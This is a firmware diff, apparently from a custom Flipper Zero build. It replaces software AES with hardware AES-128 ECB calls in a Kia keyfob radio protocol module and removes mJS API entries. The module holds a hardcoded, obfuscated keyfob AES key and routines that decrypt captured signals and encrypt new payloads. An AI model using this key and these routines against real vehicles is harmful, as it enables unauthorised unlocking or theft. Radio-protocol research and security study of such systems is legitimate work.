0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
};
static const uint8_t aes_rcon[10] = {
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
};
struct SubGhzProtocolDecoderKiaV6 { struct SubGhzProtocolDecoderKiaV6 {
SubGhzProtocolDecoderBase base; SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder; SubGhzBlockDecoder decoder;
@@ -159,181 +137,6 @@ static uint8_t kia_v6_custom_to_btn(uint8_t custom) {
} }
} }
static uint8_t gf_mul2(uint8_t x) {
return ((x >> 7) * 0x1b) ^ (x << 1);
}
static void aes_subbytes_inv(uint8_t* state) {
for (int row = 0; row < 4; row++) {
for (int col = 0; col < 4; col++) {
state[row + col * 4] = aes_sbox_inv[state[row + col * 4]];
}
}
}
static void aes_shiftrows_inv(uint8_t* state) {
uint8_t temp;
temp = state[13];
state[13] = state[9];
state[9] = state[5];
state[5] = state[1];
state[1] = temp;
temp = state[2];
state[2] = state[10];
state[10] = temp;
temp = state[6];
state[6] = state[14];
state[14] = temp;
temp = state[3];
state[3] = state[7];
state[7] = state[11];
state[11] = state[15];
state[15] = temp;
}
static void aes_mixcolumns_inv(uint8_t* state) {
uint8_t a, b, c, d;
for(int i = 0; i < 4; i++) {
a = state[i*4];
b = state[i*4+1];
c = state[i*4+2];
d = state[i*4+3];
uint8_t a2 = gf_mul2(a);
uint8_t a4 = gf_mul2(a2);
uint8_t a8 = gf_mul2(a4);
uint8_t b2 = gf_mul2(b);
uint8_t b4 = gf_mul2(b2);
uint8_t b8 = gf_mul2(b4);
uint8_t c2 = gf_mul2(c);
uint8_t c4 = gf_mul2(c2);
uint8_t c8 = gf_mul2(c4);
uint8_t d2 = gf_mul2(d);
uint8_t d4 = gf_mul2(d2);
uint8_t d8 = gf_mul2(d4);
state[i*4] = (a8^a4^a2) ^ (b8^b2^b) ^ (c8^c4^c) ^ (d8^d);
state[i*4+1] = (a8^a) ^ (b8^b4^b2) ^ (c8^c2^c) ^ (d8^d4^d);
state[i*4+2] = (a8^a4^a) ^ (b8^b) ^ (c8^c4^c2) ^ (d8^d2^d);
state[i*4+3] = (a8^a2^a) ^ (b8^b4^b) ^ (c8^c) ^ (d8^d4^d2);
}
}
static void aes_addroundkey(uint8_t* state, const uint8_t* round_key) {
for (int col = 0; col < 4; col++) {
state[col * 4] ^= round_key[col * 4];
state[col * 4 + 1] ^= round_key[col * 4 + 1];
state[col * 4 + 2] ^= round_key[col * 4 + 2];
state[col * 4 + 3] ^= round_key[col * 4 + 3];
}
}
static void aes_subbytes(uint8_t* state) {
for (int row = 0; row < 4; row++) {
for (int col = 0; col < 4; col++) {
state[row + col * 4] = aes_sbox[state[row + col * 4]];
}
}
}
static void aes_shiftrows(uint8_t* state) {
uint8_t temp;
temp = state[1];
state[1] = state[5];
state[5] = state[9];
state[9] = state[13];
state[13] = temp;
temp = state[2];
state[2] = state[10];
state[10] = temp;
temp = state[6];
state[6] = state[14];
state[14] = temp;
temp = state[3];
state[3] = state[15];
state[15] = state[11];
state[11] = state[7];
state[7] = temp;
}
static void aes_mixcolumns(uint8_t* state) {
uint8_t a, b, c, d;
for (int i = 0; i < 4; i++) {
a = state[i * 4];
b = state[i * 4 + 1];
c = state[i * 4 + 2];
d = state[i * 4 + 3];
state[i * 4] = gf_mul2(a) ^ gf_mul2(b) ^ b ^ c ^ d;
state[i * 4 + 1] = a ^ gf_mul2(b) ^ gf_mul2(c) ^ c ^ d;
state[i * 4 + 2] = a ^ b ^ gf_mul2(c) ^ gf_mul2(d) ^ d;
state[i * 4 + 3] = gf_mul2(a) ^ a ^ b ^ c ^ gf_mul2(d);
}
}
static void aes_key_expansion(const uint8_t* key, uint8_t* round_keys) {
for (int i = 0; i < 16; i++) {
round_keys[i] = key[i];
}
for (int i = 4; i < 44; i++) {
int prev_word_idx = (i - 1) * 4;
uint8_t b0 = round_keys[prev_word_idx];
uint8_t b1 = round_keys[prev_word_idx + 1];
uint8_t b2 = round_keys[prev_word_idx + 2];
uint8_t b3 = round_keys[prev_word_idx + 3];
if ((i % 4) == 0) {
uint8_t new_b0 = aes_sbox[b1] ^ aes_rcon[(i / 4) - 1];
uint8_t new_b1 = aes_sbox[b2];
uint8_t new_b2 = aes_sbox[b3];
uint8_t new_b3 = aes_sbox[b0];
b0 = new_b0; b1 = new_b1; b2 = new_b2; b3 = new_b3;
}
int back_word_idx = (i - 4) * 4;
b0 ^= round_keys[back_word_idx];
b1 ^= round_keys[back_word_idx + 1];
b2 ^= round_keys[back_word_idx + 2];
b3 ^= round_keys[back_word_idx + 3];
int curr_word_idx = i * 4;
round_keys[curr_word_idx] = b0;
round_keys[curr_word_idx + 1] = b1;
round_keys[curr_word_idx + 2] = b2;
round_keys[curr_word_idx + 3] = b3;
}
}
static void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data) {
uint8_t state[16];
memcpy(state, data, 16);
aes_addroundkey(state, &expanded_key[160]);
for (int round = 9; round > 0; round--) {
aes_shiftrows_inv(state);
aes_subbytes_inv(state);
aes_addroundkey(state, &expanded_key[round*16]);
aes_mixcolumns_inv(state);
}
aes_shiftrows_inv(state);
aes_subbytes_inv(state);
aes_addroundkey(state, &expanded_key[0]);
memcpy(data, state, 16);
}
static void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data) {
uint8_t state[16];
memcpy(state, data, 16);
aes_addroundkey(state, &expanded_key[0]);
for (int round = 1; round < 10; round++) {
aes_subbytes(state);
aes_shiftrows(state);
aes_mixcolumns(state);
aes_addroundkey(state, &expanded_key[round * 16]);
}
aes_subbytes(state);
aes_shiftrows(state);
aes_addroundkey(state, &expanded_key[160]);
memcpy(data, state, 16);
}
static void get_kia_v6_aes_key(uint8_t* aes_key) { static void get_kia_v6_aes_key(uint8_t* aes_key) {
uint64_t keystore_a = 0x37CE21F8C9F862A8ULL ^ 0x5448455049524154ULL; uint64_t keystore_a = 0x37CE21F8C9F862A8ULL ^ 0x5448455049524154ULL;
uint32_t keystore_a_hi = (keystore_a >> 32) & 0xFFFFFFFF; uint32_t keystore_a_hi = (keystore_a >> 32) & 0xFFFFFFFF;
@@ -381,9 +184,9 @@ static bool kia_v6_decrypt(SubGhzProtocolDecoderKiaV6* instance) {
uint8_t aes_key[16]; uint8_t aes_key[16];
get_kia_v6_aes_key(aes_key); get_kia_v6_aes_key(aes_key);
uint8_t expanded_key[176]; uint8_t decrypted_buf[16];
aes_key_expansion(aes_key, expanded_key); furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted_buf);
aes128_decrypt(expanded_key, encrypted_data); memcpy(encrypted_data, decrypted_buf, 16);
uint8_t *decrypted = encrypted_data; uint8_t *decrypted = encrypted_data;
uint8_t calculated_crc = kia_v6_crc8(decrypted, 15, 0xFF, 0x07); uint8_t calculated_crc = kia_v6_crc8(decrypted, 15, 0xFF, 0x07);
@@ -444,9 +247,9 @@ static void kia_v6_encrypt_payload(
uint8_t aes_key[16]; uint8_t aes_key[16];
get_kia_v6_aes_key(aes_key); get_kia_v6_aes_key(aes_key);
uint8_t expanded_key[176]; uint8_t encrypted[16];
aes_key_expansion(aes_key, expanded_key); furi_hal_crypto_aes128_ecb_encrypt(aes_key, plain, encrypted);
aes128_encrypt(expanded_key, plain); memcpy(plain, encrypted, 16);
uint8_t fx_hi = 0x20 | (fx_field >> 4); uint8_t fx_hi = 0x20 | (fx_field >> 4);
uint8_t fx_lo = fx_field & 0x0F; uint8_t fx_lo = fx_field & 0x0F;

View File

@@ -31,7 +31,7 @@ static Version version = {
.magic = VERSION_MAGIC, .magic = VERSION_MAGIC,
.major = VERSION_MAJOR, .major = VERSION_MAJOR,
.minor = VERSION_MINOR, .minor = VERSION_MINOR,
.git_hash = "ARF CFW", .git_hash = GIT_COMMIT,
.git_branch = GIT_BRANCH, .git_branch = GIT_BRANCH,
.build_date = BUILD_DATE, .build_date = BUILD_DATE,
.version = VERSION .version = VERSION

View File

@@ -94,14 +94,6 @@ Header,+,lib/mbedtls/include/mbedtls/md.h,,
Header,+,lib/mbedtls/include/mbedtls/md5.h,, Header,+,lib/mbedtls/include/mbedtls/md5.h,,
Header,+,lib/mbedtls/include/mbedtls/sha1.h,, Header,+,lib/mbedtls/include/mbedtls/sha1.h,,
Header,+,lib/mbedtls/include/mbedtls/sha256.h,, Header,+,lib/mbedtls/include/mbedtls/sha256.h,,
Header,+,lib/mjs/mjs_array_buf_public.h,,
Header,+,lib/mjs/mjs_array_public.h,,
Header,+,lib/mjs/mjs_core_public.h,,
Header,+,lib/mjs/mjs_exec_public.h,,
Header,+,lib/mjs/mjs_object_public.h,,
Header,+,lib/mjs/mjs_primitive_public.h,,
Header,+,lib/mjs/mjs_string_public.h,,
Header,+,lib/mjs/mjs_util_public.h,,
Header,+,lib/mlib/m-algo.h,, Header,+,lib/mlib/m-algo.h,,
Header,+,lib/mlib/m-array.h,, Header,+,lib/mlib/m-array.h,,
Header,+,lib/mlib/m-bptree.h,, Header,+,lib/mlib/m-bptree.h,,
@@ -1256,6 +1248,8 @@ Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*"
Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*" Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*"
Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t
Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*" Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool" Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool"
Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*" Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*"
@@ -2150,88 +2144,6 @@ Function,+,menu_free,void,Menu*
Function,+,menu_get_view,View*,Menu* Function,+,menu_get_view,View*,Menu*
Function,+,menu_reset,void,Menu* Function,+,menu_reset,void,Menu*
Function,+,menu_set_selected_item,void,"Menu*, uint32_t" Function,+,menu_set_selected_item,void,"Menu*, uint32_t"
Function,+,mjs_apply,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, mjs_val_t*"
Function,+,mjs_arg,mjs_val_t,"mjs*, int"
Function,+,mjs_array_buf_get_ptr,char*,"mjs*, mjs_val_t, size_t*"
Function,+,mjs_array_del,void,"mjs*, mjs_val_t, unsigned long"
Function,+,mjs_array_get,mjs_val_t,"mjs*, mjs_val_t, unsigned long"
Function,+,mjs_array_length,unsigned long,"mjs*, mjs_val_t"
Function,+,mjs_array_push,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t"
Function,+,mjs_array_set,mjs_err_t,"mjs*, mjs_val_t, unsigned long, mjs_val_t"
Function,+,mjs_call,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, ..."
Function,+,mjs_create,mjs*,void*
Function,+,mjs_dataview_get_buf,mjs_val_t,"mjs*, mjs_val_t"
Function,+,mjs_del,int,"mjs*, mjs_val_t, const char*, size_t"
Function,+,mjs_destroy,void,mjs*
Function,-,mjs_disasm_all,void,"mjs*, MjsPrintCallback, void*"
Function,+,mjs_disown,int,"mjs*, mjs_val_t*"
Function,-,mjs_dump,void,"mjs*, int, MjsPrintCallback, void*"
Function,+,mjs_exec,mjs_err_t,"mjs*, const char*, mjs_val_t*"
Function,+,mjs_exec_file,mjs_err_t,"mjs*, const char*, mjs_val_t*"
Function,+,mjs_exit,void,mjs*
Function,+,mjs_ffi_resolve,void*,"mjs*, const char*"
Function,-,mjs_fprintf,void,"mjs_val_t, mjs*, FILE*"
Function,+,mjs_get,mjs_val_t,"mjs*, mjs_val_t, const char*, size_t"
Function,-,mjs_get_bcode_filename_by_offset,const char*,"mjs*, int"
Function,+,mjs_get_bool,int,"mjs*, mjs_val_t"
Function,+,mjs_get_context,void*,mjs*
Function,+,mjs_get_cstring,const char*,"mjs*, mjs_val_t*"
Function,+,mjs_get_double,double,"mjs*, mjs_val_t"
Function,+,mjs_get_global,mjs_val_t,mjs*
Function,+,mjs_get_int,int,"mjs*, mjs_val_t"
Function,+,mjs_get_int32,int32_t,"mjs*, mjs_val_t"
Function,+,mjs_get_lineno_by_offset,int,"mjs*, int"
Function,+,mjs_get_offset_by_call_frame_num,int,"mjs*, int"
Function,+,mjs_get_ptr,void*,"mjs*, mjs_val_t"
Function,+,mjs_get_stack_trace,const char*,mjs*
Function,+,mjs_get_string,const char*,"mjs*, mjs_val_t*, size_t*"
Function,+,mjs_get_this,mjs_val_t,mjs*
Function,+,mjs_get_v,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t"
Function,+,mjs_get_v_proto,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t"
Function,+,mjs_is_array,int,mjs_val_t
Function,+,mjs_is_array_buf,int,mjs_val_t
Function,+,mjs_is_boolean,int,mjs_val_t
Function,+,mjs_is_data_view,int,mjs_val_t
Function,+,mjs_is_foreign,int,mjs_val_t
Function,+,mjs_is_function,int,mjs_val_t
Function,+,mjs_is_null,int,mjs_val_t
Function,+,mjs_is_number,int,mjs_val_t
Function,+,mjs_is_object,int,mjs_val_t
Function,+,mjs_is_object_based,int,mjs_val_t
Function,+,mjs_is_string,int,mjs_val_t
Function,+,mjs_is_truthy,int,"mjs*, mjs_val_t"
Function,+,mjs_is_typed_array,int,mjs_val_t
Function,+,mjs_is_undefined,int,mjs_val_t
Function,+,mjs_mk_array,mjs_val_t,mjs*
Function,+,mjs_mk_array_buf,mjs_val_t,"mjs*, char*, size_t"
Function,+,mjs_mk_boolean,mjs_val_t,"mjs*, int"
Function,+,mjs_mk_foreign,mjs_val_t,"mjs*, void*"
Function,+,mjs_mk_foreign_func,mjs_val_t,"mjs*, mjs_func_ptr_t"
Function,+,mjs_mk_function,mjs_val_t,"mjs*, size_t"
Function,+,mjs_mk_null,mjs_val_t,
Function,+,mjs_mk_number,mjs_val_t,"mjs*, double"
Function,+,mjs_mk_object,mjs_val_t,mjs*
Function,+,mjs_mk_string,mjs_val_t,"mjs*, const char*, size_t, int"
Function,+,mjs_mk_undefined,mjs_val_t,
Function,+,mjs_nargs,int,mjs*
Function,+,mjs_next,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t*"
Function,+,mjs_own,void,"mjs*, mjs_val_t*"
Function,+,mjs_prepend_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..."
Function,-,mjs_print_error,void,"mjs*, FILE*, const char*, int"
Function,+,mjs_return,void,"mjs*, mjs_val_t"
Function,+,mjs_set,mjs_err_t,"mjs*, mjs_val_t, const char*, size_t, mjs_val_t"
Function,+,mjs_set_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..."
Function,+,mjs_set_exec_flags_poller,void,"mjs*, mjs_flags_poller_t"
Function,+,mjs_set_ffi_resolver,void,"mjs*, mjs_ffi_resolver_t*, void*"
Function,-,mjs_set_generate_jsc,void,"mjs*, int"
Function,+,mjs_set_v,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t, mjs_val_t"
Function,+,mjs_sprintf,void,"mjs_val_t, mjs*, char*, size_t"
Function,+,mjs_strcmp,int,"mjs*, mjs_val_t*, const char*, size_t"
Function,+,mjs_strerror,const char*,"mjs*, mjs_err"
Function,+,mjs_struct_to_obj,mjs_val_t,"mjs*, const void*, const mjs_c_struct_member*"
Function,+,mjs_to_boolean_v,mjs_val_t,"mjs*, mjs_val_t"
Function,+,mjs_to_string,mjs_err_t,"mjs*, mjs_val_t*, char**, size_t*, int*"
Function,+,mjs_typeof,const char*,mjs_val_t
Function,-,mkdtemp,char*,char* Function,-,mkdtemp,char*,char*
Function,-,mkostemp,int,"char*, int" Function,-,mkostemp,int,"char*, int"
Function,-,mkostemps,int,"char*, int, int" Function,-,mkostemps,int,"char*, int, int"
1 entry status name type params
94 Header + lib/mbedtls/include/mbedtls/md5.h
95 Header + lib/mbedtls/include/mbedtls/sha1.h
96 Header + lib/mbedtls/include/mbedtls/sha256.h
Header + lib/mjs/mjs_array_buf_public.h
Header + lib/mjs/mjs_array_public.h
Header + lib/mjs/mjs_core_public.h
Header + lib/mjs/mjs_exec_public.h
Header + lib/mjs/mjs_object_public.h
Header + lib/mjs/mjs_primitive_public.h
Header + lib/mjs/mjs_string_public.h
Header + lib/mjs/mjs_util_public.h
97 Header + lib/mlib/m-algo.h
98 Header + lib/mlib/m-array.h
99 Header + lib/mlib/m-bptree.h
1248 Function + furi_hal_crypto_enclave_store_key _Bool FuriHalCryptoKey*, uint8_t*
1249 Function + furi_hal_crypto_enclave_unload_key _Bool uint8_t
1250 Function + furi_hal_crypto_enclave_verify _Bool uint8_t*, uint8_t*
1251 Function + furi_hal_crypto_aes128_ecb_decrypt _Bool const uint8_t*, const uint8_t*, uint8_t*
1252 Function + furi_hal_crypto_aes128_ecb_encrypt _Bool const uint8_t*, const uint8_t*, uint8_t*
1253 Function + furi_hal_crypto_encrypt _Bool const uint8_t*, uint8_t*, size_t
1254 Function + furi_hal_crypto_gcm _Bool const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool
1255 Function + furi_hal_crypto_gcm_decrypt_and_verify FuriHalCryptoGCMState const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*
2144 Function + menu_get_view View* Menu*
2145 Function + menu_reset void Menu*
2146 Function + menu_set_selected_item void Menu*, uint32_t
Function + mjs_apply mjs_err_t mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, mjs_val_t*
Function + mjs_arg mjs_val_t mjs*, int
Function + mjs_array_buf_get_ptr char* mjs*, mjs_val_t, size_t*
Function + mjs_array_del void mjs*, mjs_val_t, unsigned long
Function + mjs_array_get mjs_val_t mjs*, mjs_val_t, unsigned long
Function + mjs_array_length unsigned long mjs*, mjs_val_t
Function + mjs_array_push mjs_err_t mjs*, mjs_val_t, mjs_val_t
Function + mjs_array_set mjs_err_t mjs*, mjs_val_t, unsigned long, mjs_val_t
Function + mjs_call mjs_err_t mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, ...
Function + mjs_create mjs* void*
Function + mjs_dataview_get_buf mjs_val_t mjs*, mjs_val_t
Function + mjs_del int mjs*, mjs_val_t, const char*, size_t
Function + mjs_destroy void mjs*
Function - mjs_disasm_all void mjs*, MjsPrintCallback, void*
Function + mjs_disown int mjs*, mjs_val_t*
Function - mjs_dump void mjs*, int, MjsPrintCallback, void*
Function + mjs_exec mjs_err_t mjs*, const char*, mjs_val_t*
Function + mjs_exec_file mjs_err_t mjs*, const char*, mjs_val_t*
Function + mjs_exit void mjs*
Function + mjs_ffi_resolve void* mjs*, const char*
Function - mjs_fprintf void mjs_val_t, mjs*, FILE*
Function + mjs_get mjs_val_t mjs*, mjs_val_t, const char*, size_t
Function - mjs_get_bcode_filename_by_offset const char* mjs*, int
Function + mjs_get_bool int mjs*, mjs_val_t
Function + mjs_get_context void* mjs*
Function + mjs_get_cstring const char* mjs*, mjs_val_t*
Function + mjs_get_double double mjs*, mjs_val_t
Function + mjs_get_global mjs_val_t mjs*
Function + mjs_get_int int mjs*, mjs_val_t
Function + mjs_get_int32 int32_t mjs*, mjs_val_t
Function + mjs_get_lineno_by_offset int mjs*, int
Function + mjs_get_offset_by_call_frame_num int mjs*, int
Function + mjs_get_ptr void* mjs*, mjs_val_t
Function + mjs_get_stack_trace const char* mjs*
Function + mjs_get_string const char* mjs*, mjs_val_t*, size_t*
Function + mjs_get_this mjs_val_t mjs*
Function + mjs_get_v mjs_val_t mjs*, mjs_val_t, mjs_val_t
Function + mjs_get_v_proto mjs_val_t mjs*, mjs_val_t, mjs_val_t
Function + mjs_is_array int mjs_val_t
Function + mjs_is_array_buf int mjs_val_t
Function + mjs_is_boolean int mjs_val_t
Function + mjs_is_data_view int mjs_val_t
Function + mjs_is_foreign int mjs_val_t
Function + mjs_is_function int mjs_val_t
Function + mjs_is_null int mjs_val_t
Function + mjs_is_number int mjs_val_t
Function + mjs_is_object int mjs_val_t
Function + mjs_is_object_based int mjs_val_t
Function + mjs_is_string int mjs_val_t
Function + mjs_is_truthy int mjs*, mjs_val_t
Function + mjs_is_typed_array int mjs_val_t
Function + mjs_is_undefined int mjs_val_t
Function + mjs_mk_array mjs_val_t mjs*
Function + mjs_mk_array_buf mjs_val_t mjs*, char*, size_t
Function + mjs_mk_boolean mjs_val_t mjs*, int
Function + mjs_mk_foreign mjs_val_t mjs*, void*
Function + mjs_mk_foreign_func mjs_val_t mjs*, mjs_func_ptr_t
Function + mjs_mk_function mjs_val_t mjs*, size_t
Function + mjs_mk_null mjs_val_t
Function + mjs_mk_number mjs_val_t mjs*, double
Function + mjs_mk_object mjs_val_t mjs*
Function + mjs_mk_string mjs_val_t mjs*, const char*, size_t, int
Function + mjs_mk_undefined mjs_val_t
Function + mjs_nargs int mjs*
Function + mjs_next mjs_val_t mjs*, mjs_val_t, mjs_val_t*
Function + mjs_own void mjs*, mjs_val_t*
Function + mjs_prepend_errorf mjs_err_t mjs*, mjs_err_t, const char*, ...
Function - mjs_print_error void mjs*, FILE*, const char*, int
Function + mjs_return void mjs*, mjs_val_t
Function + mjs_set mjs_err_t mjs*, mjs_val_t, const char*, size_t, mjs_val_t
Function + mjs_set_errorf mjs_err_t mjs*, mjs_err_t, const char*, ...
Function + mjs_set_exec_flags_poller void mjs*, mjs_flags_poller_t
Function + mjs_set_ffi_resolver void mjs*, mjs_ffi_resolver_t*, void*
Function - mjs_set_generate_jsc void mjs*, int
Function + mjs_set_v mjs_err_t mjs*, mjs_val_t, mjs_val_t, mjs_val_t
Function + mjs_sprintf void mjs_val_t, mjs*, char*, size_t
Function + mjs_strcmp int mjs*, mjs_val_t*, const char*, size_t
Function + mjs_strerror const char* mjs*, mjs_err
Function + mjs_struct_to_obj mjs_val_t mjs*, const void*, const mjs_c_struct_member*
Function + mjs_to_boolean_v mjs_val_t mjs*, mjs_val_t
Function + mjs_to_string mjs_err_t mjs*, mjs_val_t*, char**, size_t*, int*
Function + mjs_typeof const char* mjs_val_t
2147 Function - mkdtemp char* char*
2148 Function - mkostemp int char*, int
2149 Function - mkostemps int char*, int, int

View File

@@ -1454,6 +1454,8 @@ Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*"
Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*" Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*"
Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t
Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*" Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool" Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool"
Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*" Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*"
1 entry status name type params
1454 Function + furi_hal_crypto_enclave_store_key _Bool FuriHalCryptoKey*, uint8_t*
1455 Function + furi_hal_crypto_enclave_unload_key _Bool uint8_t
1456 Function + furi_hal_crypto_enclave_verify _Bool uint8_t*, uint8_t*
1457 Function + furi_hal_crypto_aes128_ecb_decrypt _Bool const uint8_t*, const uint8_t*, uint8_t*
1458 Function + furi_hal_crypto_aes128_ecb_encrypt _Bool const uint8_t*, const uint8_t*, uint8_t*
1459 Function + furi_hal_crypto_encrypt _Bool const uint8_t*, uint8_t*, size_t
1460 Function + furi_hal_crypto_gcm _Bool const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool
1461 Function + furi_hal_crypto_gcm_decrypt_and_verify FuriHalCryptoGCMState const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*

View File

@@ -21,9 +21,11 @@
#define CRYPTO_MODE_DECRYPT (AES_CR_MODE_1) #define CRYPTO_MODE_DECRYPT (AES_CR_MODE_1)
#define CRYPTO_MODE_DECRYPT_INIT (AES_CR_MODE_0 | AES_CR_MODE_1) #define CRYPTO_MODE_DECRYPT_INIT (AES_CR_MODE_0 | AES_CR_MODE_1)
#define CRYPTO_DATATYPE_32B 0U #define CRYPTO_DATATYPE_32B 0U
#define CRYPTO_KEYSIZE_256B (AES_CR_KEYSIZE) #define CRYPTO_DATATYPE_8B (AES_CR_DATATYPE_1)
#define CRYPTO_AES_CBC (AES_CR_CHMOD_0) #define CRYPTO_KEYSIZE_256B (AES_CR_KEYSIZE)
#define CRYPTO_AES_ECB 0U
#define CRYPTO_AES_CBC (AES_CR_CHMOD_0)
#define CRYPTO_AES_CTR (AES_CR_CHMOD_1) #define CRYPTO_AES_CTR (AES_CR_CHMOD_1)
#define CRYPTO_CTR_IV_LEN (12U) #define CRYPTO_CTR_IV_LEN (12U)
@@ -748,3 +750,72 @@ FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify(
return FuriHalCryptoGCMStateOk; return FuriHalCryptoGCMStateOk;
} }
static void crypto_key_init_ecb128(const uint8_t* key) {
CLEAR_BIT(AES1->CR, AES_CR_EN);
MODIFY_REG(
AES1->CR,
AES_CR_DATATYPE | AES_CR_KEYSIZE | AES_CR_CHMOD,
CRYPTO_DATATYPE_8B | CRYPTO_AES_ECB);
AES1->KEYR3 = ((uint32_t*)key)[0];
AES1->KEYR2 = ((uint32_t*)key)[1];
AES1->KEYR1 = ((uint32_t*)key)[2];
AES1->KEYR0 = ((uint32_t*)key)[3];
}
bool furi_hal_crypto_aes128_ecb_encrypt(
const uint8_t* key,
const uint8_t* input,
uint8_t* output) {
furi_check(furi_hal_crypto_mutex);
furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk);
furi_hal_bus_enable(FuriHalBusAES1);
